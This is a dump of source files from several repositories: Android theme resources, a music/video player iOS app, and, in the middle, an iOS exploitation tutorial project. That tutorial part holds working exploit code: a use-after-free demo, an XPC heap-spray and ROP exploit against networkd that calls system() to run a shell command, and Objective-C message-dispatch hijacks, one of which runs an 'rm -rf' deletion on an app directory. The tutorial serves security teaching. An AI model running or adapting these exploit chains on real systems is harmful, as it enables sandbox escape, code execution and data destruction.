<style name="Theme.Douya.Music" parent="Base.Theme.Douya.Music.Dark" />
<style name="Theme.Douya.Music.DialogWhenLarge" parent="Base.Theme.Douya.Music.DialogWhenLarge.Dark" />
<style name="Theme.Douya.GameApp" parent="Base.Theme.Douya.GameApp.Dark" />
<style name="Theme.Douya.GameApp.DialogWhenLarge" parent="Base.Theme.Douya.GameApp.DialogWhenLarge.Dark" />
<style name="ThemeOverlay.Douya.Calendar" parent="Base.ThemeOverlay.Douya.Calendar.Dark" />
</resources>
``` | /content/code_sandbox/app/src/main/res/values-night-v8/themes.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 386 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<resources>
<dimen name="card_activity_width">600dp</dimen>
<dimen name="card_activity_horizontal_margin">0dp</dimen>
<dimen name="profile_large_avatar_size">160dp</dimen>
<dimen name="profile_large_avatar_bottom_from_toolbar_bottom">16dp</dimen>
<dimen name="item_content_padding_top_max">240dp</dimen>
<dimen name="item_backdrop_play_layout_height">@dimen/item_content_padding_top_max</dimen>
<dimen name="item_content_horizontal_margin">@dimen/screen_edge_horizontal_margin</dimen>
<dimen name="item_card_list_horizontal_padding">12dp</dimen>
<dimen name="item_card_list_vertical_padding">12dp</dimen>
<dimen name="item_card_horizontal_margin">10dp</dimen>
<dimen name="item_card_vertical_margin">9dp</dimen>
<dimen name="item_cover_width_long">214dp</dimen>
<dimen name="item_cover_width_square">308dp</dimen>
</resources>
``` | /content/code_sandbox/app/src/main/res/values-sw600dp-land/dimens.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 268 |
```ini
#Sat Aug 31 10:23:41 PDT 2019
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-5.4.1-all.zip
``` | /content/code_sandbox/gradle/wrapper/gradle-wrapper.properties | ini | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 73 |
```unknown
#search for gcc
GCC_BIN=`xcrun --sdk iphoneos --find g++`
#search for strip
STRIP_BIN=`xcrun --sdk iphoneos --find strip`
#search for as
AS=`xcrun --sdk iphoneos -f as`
#search for sdk
SDK=`xcrun --sdk iphoneos --show-sdk-path`
#
CODESIGN_ALLOCATE=`xcrun --find codesign_allocate`
CFLAGS = -fvisibility=hidden -fvisibility-inlines-hidden
GCC_BASE = $(GCC_BIN) -Os $(CFLAGS) -Wimplicit -isysroot $(SDK) -F$(SDK)/System/Library/Frameworks -F$(SDK)/System/Library/PrivateFrameworks
#setup for armv7 iphone 4s
GCC=$(GCC_BASE) -arch armv7
all: hello
hello: hello.cpp
$(GCC) -D__DARW_OUTPUT__ -o $@ -framework Foundation $^
CODESIGN_ALLOCATE=$(CODESIGN_ALLOCATE) ldid -Sent.xml $@
.PHONY: all clean
clean:
rm -f *.o hello
``` | /content/code_sandbox/UAF_and_Kernel/Makefile | unknown | 2016-01-26T02:40:52 | 2024-08-12T19:21:05 | iOS_ICE_AND_FIRE | zhengmin1989/iOS_ICE_AND_FIRE | 1,085 | 240 |
```c++
//#import "talker.h"
//#import "worker.h"
//#import "human.h"
#include <iostream>
using namespace std;
class Human
{
public:
virtual void setValue(int value)=0;
virtual int getValue()=0;
protected:
int mValue;
};
class Talker : public Human
{
public:
void setValue(int value){
mValue = value;
}
int getValue(){
mValue += 1;
cout<<"This is Talker's getValue"<<endl;
return mValue;
}
};
class Worker : public Human
{
public:
void setValue(int value){
mValue = value;
}
int getValue(){
cout<<"This is Worker's getValue"<<endl;
mValue += 100;
return mValue;
}
};
void handleObject(Human* human)
{
human->setValue(0);
cout<<human->getValue()<<endl;
}
int main(void) {
Talker *myTalker = new Talker();
printf("myTalker=%p\n",myTalker);
handleObject(myTalker);
free(myTalker);
/*
Worker *myWorker = new Worker();
printf("myWorker=%p\n",myWorker);
handleObject(myTalker);
*/
///*
int size=16;
void *uafTalker = (void*) malloc(size);
memset(uafTalker, 0x41,size);
printf("uafTalker=%p\n",uafTalker);
handleObject(myTalker);
//*/
return 0;
}
``` | /content/code_sandbox/UAF_and_Kernel/hello.cpp | c++ | 2016-01-26T02:40:52 | 2024-08-12T19:21:05 | iOS_ICE_AND_FIRE | zhengmin1989/iOS_ICE_AND_FIRE | 1,085 | 337 |
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "path_to_url">
<plist version="1.0">
<dict>
<key>get-task-allow</key>
<true/>
<key>task_for_pid-allow</key>
<true/>
<key>platform-application</key>
<true/>
</dict>
</plist>
``` | /content/code_sandbox/UAF_and_Kernel/ent.xml | xml | 2016-01-26T02:40:52 | 2024-08-12T19:21:05 | iOS_ICE_AND_FIRE | zhengmin1989/iOS_ICE_AND_FIRE | 1,085 | 98 |
```objective-c
#import "AppDelegate.h"
#import <xpc/xpc.h>
#include <mach/mach.h>
#include <mach/task.h>
#include <dlfcn.h>
#include <mach-o/dyld_images.h>
#include <objc/runtime.h>
@interface AppDelegate ()
@end
int size = 0;
struct heap_spray {
void* fake_objc_class_ptr;
uint32_t r10;
uint32_t r4;
uint32_t r5;
uint32_t r6;
uint32_t r7;
uint32_t pc;
uint8_t pad1[0x3c];
uint32_t stack_pivot;
struct fake_objc_class_t {
char pad[0x8];
void* cache_buckets_ptr;
uint32_t cache_bucket_mask;
} fake_objc_class;
struct fake_cache_bucket_t {
void* cached_sel;
void* cached_function;
} fake_cache_bucket;
char command[1024];
};
void* find_library_load_address(const char* library_name){
kern_return_t err;
// get the list of all loaded modules from dyld
// the task_info mach API will get the address of the dyld all_image_info struct for the given task
// from which we can get the names and load addresses of all modules
task_dyld_info_data_t task_dyld_info;
mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
err = task_info(mach_task_self(), TASK_DYLD_INFO, (task_info_t)&task_dyld_info, &count);
const struct dyld_all_image_infos* all_image_infos = (const struct dyld_all_image_infos*)task_dyld_info.all_image_info_addr;
const struct dyld_image_info* image_infos = all_image_infos->infoArray;
for(size_t i = 0; i < all_image_infos->infoArrayCount; i++){
const char* image_name = image_infos[i].imageFilePath;
mach_vm_address_t image_load_address = (mach_vm_address_t)image_infos[i].imageLoadAddress;
if (strstr(image_name, library_name)){
return (void*)image_load_address;
}
}
return NULL;
}
void heap_spray_and_pwn()
{
void* heap_spray_target_addr = (void*)0x1fec000;
struct heap_spray* hs = mmap(heap_spray_target_addr, 0x1000, 3, MAP_ANON|MAP_PRIVATE|MAP_FIXED, 0, 0);
memset(hs, 0x00, 0x1000);
hs->fake_objc_class_ptr = &hs->fake_objc_class;
hs->fake_objc_class.cache_buckets_ptr = &hs->fake_cache_bucket;
hs->fake_objc_class.cache_bucket_mask = 0;
hs->fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release");
printf("fake_cache_bucket.cached_sel=%p\n",hs->fake_cache_bucket.cached_sel);
uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation");
NSLog(@"CoreFoundationbase address = 0x%08x", (uint32_t)CoreFoundation_base);
/*
0x2dffc0ee: 0x4604 mov r4, r0
0x2dffc0f0: 0x6da1 ldr r1, [r4, #0x58]
0x2dffc0f2: 0xb129 cbz r1, 0x2dffc100 ; <+28>
0x2dffc0f4: 0x6ce0 ldr r0, [r4, #0x4c]
0x2dffc0f6: 0x4788 blx r1
*/
hs->fake_cache_bucket.cached_function = CoreFoundation_base + 0x0009e0ee + 1; //fake_struct.stack_pivot_ptr
NSLog(@"hs->fake_cache_bucket.cached_function = 0x%08x", (uint32_t)(CoreFoundation_base+0x0009e0ee));
/*
__text:2D3B7F78 MOV SP, R4
__text:2D3B7F7A POP.W {R8,R10}
__text:2D3B7F7E POP {R4-R7,PC}
*/
hs->stack_pivot= CoreFoundation_base + 0x4f78 + 1;
NSLog(@"hs->stack_pivot = 0x%08x", (uint32_t)(CoreFoundation_base + 0x4f78));
// 0x00000000000d3842 : mov r0, r4 ; mov r1, r5 ; blx r6
strcpy(hs->command, "touch /tmp/iceandfire");
hs->r4=(uint32_t)&hs->command;
hs->r6=(void *)dlsym(RTLD_DEFAULT, "system");
hs->pc = CoreFoundation_base+0xd3842+1;
NSLog(@"hs->pc = 0x%08x", (uint32_t)(CoreFoundation_base+0xd3842));
size_t heap_spray_pages = 0x2000;
size_t heap_spray_bytes = heap_spray_pages * 0x1000;
char* heap_spray_copies = malloc(heap_spray_bytes);
for (int i = 0; i < heap_spray_pages; i++){
memcpy(heap_spray_copies+(i*0x1000), hs, 0x1000);
}
xpc_connection_t client = xpc_connection_create_mach_service("com.apple.networkd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
xpc_connection_set_event_handler(client, ^void(xpc_object_t response) {
xpc_type_t t = xpc_get_type(response);
if (t == XPC_TYPE_ERROR){
printf("err: %s\n", xpc_dictionary_get_string(response, XPC_ERROR_KEY_DESCRIPTION));
}
printf("received an event\n");
});
xpc_connection_resume(client);
xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_uint64(dict, "type", 6);
xpc_dictionary_set_uint64(dict, "connection_id", 1);
xpc_object_t params = xpc_dictionary_create(NULL, NULL, 0);
xpc_object_t conn_list = xpc_array_create(NULL, 0);
xpc_object_t arr_dict = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(arr_dict, "hostname", "example.com");
xpc_array_append_value(conn_list, arr_dict);
xpc_dictionary_set_value(params, "connection_entry_list", conn_list);
//0x1fec000
uint32_t uuid[] = {0x0, 0x1fec000};
// uint32_t uuid[] = {0x0, 0x41414141};
xpc_dictionary_set_uuid(params, "effective_audit_token", (const unsigned char*)uuid);
xpc_dictionary_set_uint64(params, "start", 0);
xpc_dictionary_set_uint64(params, "duration", 0);
xpc_dictionary_set_value(dict, "parameters", params);
xpc_object_t state = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(state, "power_slot", 0);
xpc_dictionary_set_value(dict, "state", state);
xpc_dictionary_set_data(dict, "heap_spray", heap_spray_copies, heap_spray_bytes);
xpc_connection_send_message(client, dict);
printf("enqueued message\n");
NSLog(@"%@",dict);
xpc_connection_send_barrier(dict, ^{printf("other side has enqueued this message\n");});
xpc_release(dict);
}
@implementation AppDelegate
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
// Override point for customization after application launch.
heap_spray_and_pwn();
printf("entering CFRunLoop\n");
for(;;){
CFRunLoopRunInMode(kCFRunLoopDefaultMode, DBL_MAX, TRUE);
}
return YES;
}
- (void)applicationWillResignActive:(UIApplication *)application {
// Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state.
// Use this method to pause ongoing tasks, disable timers, and throttle down OpenGL ES frame rates. Games should use this method to pause the game.
}
- (void)applicationDidEnterBackground:(UIApplication *)application {
// Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later.
// If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits.
}
- (void)applicationWillEnterForeground:(UIApplication *)application {
// Called as part of the transition from the background to the inactive state; here you can undo many of the changes made on entering the background.
}
- (void)applicationDidBecomeActive:(UIApplication *)application {
// Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface.
}
- (void)applicationWillTerminate:(UIApplication *)application {
// Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:.
}
@end
``` | /content/code_sandbox/XPC_Sandbox_By_Pass/networkd_armv7_exp.m | objective-c | 2016-01-26T02:40:52 | 2024-08-12T19:21:05 | iOS_ICE_AND_FIRE | zhengmin1989/iOS_ICE_AND_FIRE | 1,085 | 2,139 |
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "path_to_url">
<plist version="1.0">
<dict>
<key>application-identifier</key>
<string>XXXXXXXXX.com.mzheng.IceAndFire</string>
<key>get-task-allow</key>
<true/>
</dict>
</plist>
``` | /content/code_sandbox/Extra_Chapter/Entitlements.plist | xml | 2016-01-26T02:40:52 | 2024-08-12T19:21:05 | iOS_ICE_AND_FIRE | zhengmin1989/iOS_ICE_AND_FIRE | 1,085 | 95 |
```objective-c
#import <Foundation/Foundation.h>
@interface Talker : NSObject
- (void) say: (NSString*) phrase;
@end
``` | /content/code_sandbox/Objective-C_Pwn/talker.h | objective-c | 2016-01-26T02:40:52 | 2024-08-12T19:21:05 | iOS_ICE_AND_FIRE | zhengmin1989/iOS_ICE_AND_FIRE | 1,085 | 26 |
```objective-c
#import "Talker.h"
@implementation Talker
- (void) say: (NSString*) phrase {
NSLog(@"%@\n", phrase);
}
@end
``` | /content/code_sandbox/Objective-C_Pwn/talker.m | objective-c | 2016-01-26T02:40:52 | 2024-08-12T19:21:05 | iOS_ICE_AND_FIRE | zhengmin1989/iOS_ICE_AND_FIRE | 1,085 | 34 |
```objective-c
#import "Talker.h"
#include <dlfcn.h>
#include <mach-o/dyld_images.h>
#include <objc/runtime.h>
struct fake_structure_t
{
uint64_t fake_objc_class_ptr;
}fake_structure;
struct fake_objc_class_t {
char pad[0x10];
void* cache_buckets_ptr;
uint32_t cache_bucket_mask;
} fake_objc_class;
struct fake_cache_bucket_t {
void* cached_sel;
void* cached_function;
} fake_cache_bucket;
int main(void) {
Talker *talker = [[Talker alloc] init];
[talker say: @"Hello, Ice and Fire!"];
[talker say: @"Hello, Ice and Fire!"];
[talker release];
fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release");
NSLog(@"cached_sel = %p", NSSelectorFromString(@"release"));
fake_cache_bucket.cached_function = (void*)0x41414141414141;
NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function);
fake_objc_class.cache_buckets_ptr = &fake_cache_bucket;
fake_objc_class.cache_bucket_mask=0;
fake_structure.fake_objc_class_ptr=&fake_objc_class;
talker= &fake_structure;
[talker release];
}
``` | /content/code_sandbox/Objective-C_Pwn/hello2.m | objective-c | 2016-01-26T02:40:52 | 2024-08-12T19:21:05 | iOS_ICE_AND_FIRE | zhengmin1989/iOS_ICE_AND_FIRE | 1,085 | 293 |
```objective-c
#import "Talker.h"
#include <dlfcn.h>
#include <mach-o/dyld_images.h>
#include <objc/runtime.h>
int main(void) {
Talker *talker = [[Talker alloc] init];
[talker say: @"Hello, Ice and Fire!"];
[talker say: @"Hello, Ice and Fire!"];
[talker release];
}
``` | /content/code_sandbox/Objective-C_Pwn/hello.m | objective-c | 2016-01-26T02:40:52 | 2024-08-12T19:21:05 | iOS_ICE_AND_FIRE | zhengmin1989/iOS_ICE_AND_FIRE | 1,085 | 84 |
```objective-c
#import "Talker.h"
#include <dlfcn.h>
#include <mach-o/dyld_images.h>
#include <objc/runtime.h>
struct fake_receiver_t
{
uint64_t fake_objc_class_ptr;
uint8_t pad1[0x70-0x8];
uint64_t x0;
uint8_t pad2[0x98-0x70-0x8];
uint64_t x1;
char cmd[1024];
}fake_receiver;
struct fake_objc_class_t {
char pad[0x10];
void* cache_buckets_ptr;
uint32_t cache_bucket_mask;
} fake_objc_class;
struct fake_cache_bucket_t {
void* cached_sel;
void* cached_function;
} fake_cache_bucket;
void* find_library_load_address(const char* library_name){
kern_return_t err;
task_dyld_info_data_t task_dyld_info;
mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
err = task_info(mach_task_self(), TASK_DYLD_INFO, (task_info_t)&task_dyld_info, &count);
const struct dyld_all_image_infos* all_image_infos = (const struct dyld_all_image_infos*)task_dyld_info.all_image_info_addr;
const struct dyld_image_info* image_infos = all_image_infos->infoArray;
for(size_t i = 0; i < all_image_infos->infoArrayCount; i++){
const char* image_name = image_infos[i].imageFilePath;
mach_vm_address_t image_load_address = (mach_vm_address_t)image_infos[i].imageLoadAddress;
if (strstr(image_name, library_name)){
return (void*)image_load_address;
}
}
return NULL;
}
int main(void) {
Talker *talker = [[Talker alloc] init];
[talker say: @"Hello, Ice and Fire!"];
[talker say: @"Hello, Ice and Fire!"];
[talker release];
fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release");
NSLog(@"cached_sel = %p", NSSelectorFromString(@"release"));
uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation");
NSLog(@"CoreFoundationbase address = %p", (void*)CoreFoundation_base);
//0x00000000000dcf7c ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0xdcf9c ; br x1
fake_cache_bucket.cached_function = (void*)CoreFoundation_base + 0x00000000000dcf7c;
NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function);
fake_receiver.x0=(uint64_t)&fake_receiver.cmd;
fake_receiver.x1=(void *)dlsym(RTLD_DEFAULT, "system");
NSLog(@"system_address = %p", (void*)fake_receiver.x1);
strcpy(fake_receiver.cmd, "rm -rf /var/mobile/Containers/Bundle/Application/ED6F728B-CC15-466B-942B-FBC4C534FF95/");
fake_objc_class.cache_buckets_ptr = &fake_cache_bucket;
fake_objc_class.cache_bucket_mask=0;
fake_receiver.fake_objc_class_ptr=&fake_objc_class;
talker= &fake_receiver;
[talker release];
}
``` | /content/code_sandbox/Objective-C_Pwn/hello3.m | objective-c | 2016-01-26T02:40:52 | 2024-08-12T19:21:05 | iOS_ICE_AND_FIRE | zhengmin1989/iOS_ICE_AND_FIRE | 1,085 | 757 |
```objective-c
//
// HomeVideoCollectionViewCell.m
// PlayerDemo
//
// Created by apple on 2018/8/10.
//
#import "HomeVideoCollectionViewCell.h"
#import "UIImageView+WebCache.h"
#define SCREENHEIGHT [UIScreen mainScreen].bounds.size.height
#define ScreenWidth [UIScreen mainScreen].bounds.size.width
@interface HomeVideoCollectionViewCell(){
}
@property (nonatomic ,strong) UIImageView *videoCoverImageView;
@property (nonatomic ,strong) UILabel* titleLabel;
@property (nonatomic ,strong) UILabel* locationLabel;
@property (nonatomic ,strong) UIImageView* iconImgView;
@property (nonatomic ,strong) UILabel* nickeNameLabel;
@property (nonatomic ,strong) UILabel* comment_countLabel;
@end
@implementation HomeVideoCollectionViewCell
-(instancetype)initWithFrame:(CGRect)frame
{
self = [super initWithFrame:frame];
if (self) {
// self.backgroundColor = [UIColor colorWithRed:arc4random_uniform(255)/255.0 green:arc4random_uniform(255)/255.0 blue:arc4random_uniform(255)/255.0 alpha:1];
self.backgroundColor = [UIColor whiteColor];
_videoCoverImageView = [[UIImageView alloc] initWithFrame:CGRectMake(1, 1, (ScreenWidth/2 - 2)-2, (ScreenWidth/2 - 2)*1.6 -2)];
// _videoCoverImageView = [[UIImageView alloc] initWithFrame:CGRectMake(0, 0, frame.size.width, frame.size.height)];
[self.contentView addSubview:_videoCoverImageView];
UIView* superView = self.contentView;
// [[AppDelegate appDelegate].cmImageSize setImagesRounded:_videoCoverImageView cornerRadiusValue:3 borderWidthValue:0 borderColorWidthValue:[UIColor whiteColor]];
_videoCoverImageView.layer.masksToBounds = true;
_videoCoverImageView.layer.cornerRadius = 3;
_videoCoverImageView.contentMode = UIViewContentModeScaleAspectFill;
[_videoCoverImageView setClipsToBounds:YES];
_locationLabel = [[UILabel alloc]init];
_locationLabel.text = @"";
_locationLabel.textColor = [UIColor whiteColor];
_locationLabel.textAlignment = NSTextAlignmentCenter;
_locationLabel.font = [UIFont systemFontOfSize:11];
[superView addSubview:_locationLabel];
[_locationLabel mas_makeConstraints:^(MASConstraintMaker *make) {
make.top.equalTo(superView).offset(10);
make.right.equalTo(superView).offset(-15);
}];
UIImageView* locationImgView = [[UIImageView alloc] init];
locationImgView.image = [UIImage imageNamed:@"location"];
[superView addSubview:locationImgView];
[locationImgView mas_makeConstraints:^(MASConstraintMaker *make) {
make.centerY.equalTo(_locationLabel);
make.right.equalTo(_locationLabel.mas_left).offset(-1);
make.height.equalTo(@(14));
make.width.equalTo(@(14));
}];
UIView* locationBGView = [[UIView alloc] init];
locationBGView.backgroundColor = [UIColor darkGrayColor];
locationBGView.alpha = .6;
[_videoCoverImageView addSubview:locationBGView];
[locationBGView mas_makeConstraints:^(MASConstraintMaker *make) {
make.centerY.equalTo(_locationLabel);
make.right.equalTo(superView).offset(-10);
make.height.equalTo(@(20));
make.left.equalTo(locationImgView.mas_left).offset(-5);
}];
// [[AppDelegate appDelegate].cmImageSize setViewsRounded:locationBGView cornerRadiusValue:10 borderWidthValue:0 borderColorWidthValue:nil];
locationBGView.layer.masksToBounds = true;
locationBGView.layer.cornerRadius = 10;
UIView* bottomBarView = [[UIView alloc] init];
bottomBarView.backgroundColor = [UIColor clearColor];
[superView addSubview:bottomBarView];
[bottomBarView mas_makeConstraints:^(MASConstraintMaker *make) {
make.bottom.left.right.equalTo(_videoCoverImageView);
make.height.equalTo(@(30));
}];
_iconImgView = [[UIImageView alloc] init];
[superView addSubview:_iconImgView];
[_iconImgView mas_makeConstraints:^(MASConstraintMaker *make) {
make.centerY.equalTo(bottomBarView);
make.left.equalTo(_videoCoverImageView).offset(5);
make.width.height.equalTo(@(20));
}];
// [[AppDelegate appDelegate].cmImageSize setImagesRounded:_iconImgView cornerRadiusValue:10 borderWidthValue:0 borderColorWidthValue:[UIColor whiteColor]];
_iconImgView.layer.masksToBounds = true;
_iconImgView.layer.cornerRadius = 10;
_comment_countLabel = [[UILabel alloc] init];
_comment_countLabel.textAlignment = NSTextAlignmentCenter;
// _comment_countLabel.textColor = [UIColor colorWithRed:205/256.0 green:205/256.0 blue:205/256.0 alpha:1];
_comment_countLabel.textColor = [UIColor whiteColor];
_comment_countLabel.font = [UIFont systemFontOfSize:10];
[superView addSubview:_comment_countLabel];
[_comment_countLabel mas_makeConstraints:^(MASConstraintMaker *make) {
make.centerY.equalTo(bottomBarView);
make.right.equalTo(_videoCoverImageView).offset(-5);
}];
UIImageView* commentImgView = [[UIImageView alloc] init];
commentImgView.image = [UIImage imageNamed:@"comment"];
[superView addSubview:commentImgView];
[commentImgView mas_makeConstraints:^(MASConstraintMaker *make) {
make.centerY.equalTo(bottomBarView);
make.right.equalTo(_comment_countLabel.mas_left).offset(-3);
make.height.width.equalTo(@(14));
}];
_nickeNameLabel = [[UILabel alloc] init];
_nickeNameLabel.textAlignment = NSTextAlignmentCenter;
_nickeNameLabel.textColor = [UIColor colorWithRed:201/256.0 green:201/256.0 blue:201/256.0 alpha:1];
// _nickeNameLabel.textColor = [UIColor whiteColor];
_nickeNameLabel.font = [UIFont systemFontOfSize:10];
[superView addSubview:_nickeNameLabel];
[_nickeNameLabel mas_makeConstraints:^(MASConstraintMaker *make) {
make.centerY.equalTo(bottomBarView);
make.left.equalTo(_iconImgView.mas_right).offset(3);
make.right.lessThanOrEqualTo(commentImgView.mas_left).offset(-3);
}];
_titleLabel = [[UILabel alloc] init];
_titleLabel.numberOfLines = 0;
_titleLabel.textColor = [UIColor whiteColor];
_titleLabel.textAlignment = NSTextAlignmentLeft;
_titleLabel.font = [UIFont systemFontOfSize:14];
[superView addSubview:_titleLabel];
[_titleLabel mas_makeConstraints:^(MASConstraintMaker *make) {
make.bottom.equalTo(bottomBarView.mas_top);
make.left.equalTo(superView).offset(10);
make.right.equalTo(superView).offset(-20);
}];
}
return self;
}
-(void)setDataModel:(VideoDataModel *)DataModel
{
_DataModel = DataModel;
[_videoCoverImageView sd_setImageWithURL:[NSURL URLWithString:DataModel.cover_url] placeholderImage:[UIImage imageWithContentsOfFile:[[NSBundle mainBundle] pathForResource:@"usericon02" ofType:@"png"]]];
[_iconImgView sd_setImageWithURL:[NSURL URLWithString:DataModel.avatar_thumb] placeholderImage:[UIImage imageWithContentsOfFile:[[NSBundle mainBundle] pathForResource:@"usericon02" ofType:@"png"]]];
_locationLabel.text = (DataModel.location.length > 0)?DataModel.location:@"";
// _nickeNameLabel.text = DataModel.nickname;
[self toSetUpThree_dimensionalShadows:_nickeNameLabel andString:DataModel.nickname];
// _comment_countLabel.text = DataModel.comment_count;
[self toSetUpThree_dimensionalShadows:_comment_countLabel andString:DataModel.comment_count];
// _titleLabel.text = DataModel.title;
[self toSetUpThree_dimensionalShadows:_titleLabel andString:DataModel.title];
}
-(void)toSetUpThree_dimensionalShadows:(UILabel*)Label andString:(NSString*)str
{
if (str == nil || str == NULL) {
str = @"";
}
if ([str isKindOfClass:[NSNull class]]) {
str = @"";
}
if (!(str.length >0)) {
str = @"";
}
NSShadow *shadow = [[NSShadow alloc]init];
shadow.shadowBlurRadius = 0.5;
shadow.shadowColor = [UIColor colorWithRed:0 green:0 blue:0 alpha:0.9];
shadow.shadowOffset = CGSizeMake(0, .6);
NSMutableAttributedString* labelAttribute = [[NSMutableAttributedString alloc]initWithString:str];
[labelAttribute addAttributes:@{NSStrokeColorAttributeName:[UIColor whiteColor],NSStrokeWidthAttributeName:@(-0.4),NSShadowAttributeName:shadow} range:NSMakeRange(0, labelAttribute.length)];
[Label setAttributedText:labelAttribute];
}
@end
``` | /content/code_sandbox/PlayerDemo/HomeVideoCollectionViewCell.m | objective-c | 2016-02-02T02:51:55 | 2024-08-09T08:55:27 | WMPlayer | zhengwenming/WMPlayer | 3,272 | 1,829 |
```objective-c
//
// VideoCell.m
// WMVideoPlayer
//
// Created by zhengwenming on 16/1/17.
//
#import "VideoCell.h"
#import "UIImageView+WebCache.h"
@implementation VideoCell
- (void)awakeFromNib {
// Initialization code
[super awakeFromNib];
[self.playBtn addTarget:self action:@selector(startPlayVideo:) forControlEvents:UIControlEventTouchUpInside];
self.backgroundIV.backgroundColor = [UIColor blackColor];
self.backgroundIV.contentMode = UIViewContentModeScaleAspectFit;
}
-(void)startPlayVideo:(UIButton *)sender{
if (self.startPlayVideoBlcok) {
self.startPlayVideoBlcok(self.backgroundIV,self.videoModel);
}
}
-(void)setVideoModel:(VideoDataModel *)videoModel{
_videoModel = videoModel;
self.selectionStyle = UITableViewCellSelectionStyleNone;
self.titleLabel.text = videoModel.nickname;
self.descriptionLabel.text = videoModel.location;
[self.backgroundIV sd_setImageWithURL:[NSURL URLWithString:videoModel.cover_url] placeholderImage:[UIImage imageNamed:@"logo"]];
self.countLabel.text = [NSString stringWithFormat:@"%ld.%ld",[videoModel.play_count integerValue]/10000,[videoModel.play_count integerValue]/1000-[videoModel.comment_count integerValue]/10000];
}
@end
``` | /content/code_sandbox/PlayerDemo/VideoCell.m | objective-c | 2016-02-02T02:51:55 | 2024-08-09T08:55:27 | WMPlayer | zhengwenming/WMPlayer | 3,272 | 270 |
```ruby
Pod::Spec.new do |s|
s.name = 'WMPlayer'
s.version = '5.1.0'
s.summary = 'A lightweight Video Player for iOS to play local or network video,base on AVPlayer.'
s.homepage = 'path_to_url
s.license = 'MIT'
s.authors = { 'zhengwenming' => '740747055@qq.com','wvqusrtg'=>' <1911398892@qq.com>'}
s.platform = :ios, '7.0'
s.source = { :git => 'path_to_url =>s.version}
s.source_files = 'WMPlayer/**/*.{h,m}'
s.resources = 'WMPlayer/WMPlayer.bundle'
s.framework = 'Foundation','UIKit','MediaPlayer','AVFoundation'
s.dependency 'Masonry'
s.requires_arc = true
end
``` | /content/code_sandbox/WMPlayer.podspec | ruby | 2016-02-02T02:51:55 | 2024-08-09T08:55:27 | WMPlayer | zhengwenming/WMPlayer | 3,272 | 189 |
```json
PODS:
- AFNetworking (3.2.1):
- AFNetworking/NSURLSession (= 3.2.1)
- AFNetworking/Reachability (= 3.2.1)
- AFNetworking/Security (= 3.2.1)
- AFNetworking/Serialization (= 3.2.1)
- AFNetworking/UIKit (= 3.2.1)
- AFNetworking/NSURLSession (3.2.1):
- AFNetworking/Reachability
- AFNetworking/Security
- AFNetworking/Serialization
- AFNetworking/Reachability (3.2.1)
- AFNetworking/Security (3.2.1)
- AFNetworking/Serialization (3.2.1)
- AFNetworking/UIKit (3.2.1):
- AFNetworking/NSURLSession
- GPUImage (0.1.7)
- Masonry (1.1.0)
- MJRefresh (3.4.3)
- SDWebImage (5.8.0):
- SDWebImage/Core (= 5.8.0)
- SDWebImage/Core (5.8.0)
- TZImagePickerController (2.1.9)
DEPENDENCIES:
- AFNetworking
- GPUImage
- Masonry
- MJRefresh
- SDWebImage
- TZImagePickerController (~> 2.1.6)
SPEC REPOS:
path_to_url
- AFNetworking
- GPUImage
- Masonry
- MJRefresh
- SDWebImage
- TZImagePickerController
SPEC CHECKSUMS:
AFNetworking: b6f891fdfaed196b46c7a83cf209e09697b94057
GPUImage: 733a5f0fab92df9de1c37ba9df520a833ccb406d
Masonry: 678fab65091a9290e40e2832a55e7ab731aad201
MJRefresh: 53e3e3219f204425ee6d3e62e8733d3295944cd6
SDWebImage: 84000f962cbfa70c07f19d2234cbfcf5d779b5dc
TZImagePickerController: 6c9721783063edafc9ad42cd95acc82f1b648485
PODFILE CHECKSUM: 230106280bbf77204dfab38c4d8f4b65d9851ac5
COCOAPODS: 1.8.4
``` | /content/code_sandbox/Podfile.lock | json | 2016-02-02T02:51:55 | 2024-08-09T08:55:27 | WMPlayer | zhengwenming/WMPlayer | 3,272 | 563 |
```objective-c
//
// VideoCell.h
// WMVideoPlayer
//
// Created by zhengwenming on 16/1/17.
//
#import <UIKit/UIKit.h>
#import "VideoDataModel.h"
typedef void(^StartPlayVideoBlcok)(UIImageView *backgroundIV,VideoDataModel *videoModel);
@interface VideoCell : UITableViewCell
@property (weak, nonatomic) IBOutlet UILabel *titleLabel;
@property (weak, nonatomic) IBOutlet UILabel *descriptionLabel;
@property (weak, nonatomic) IBOutlet UIImageView *backgroundIV;
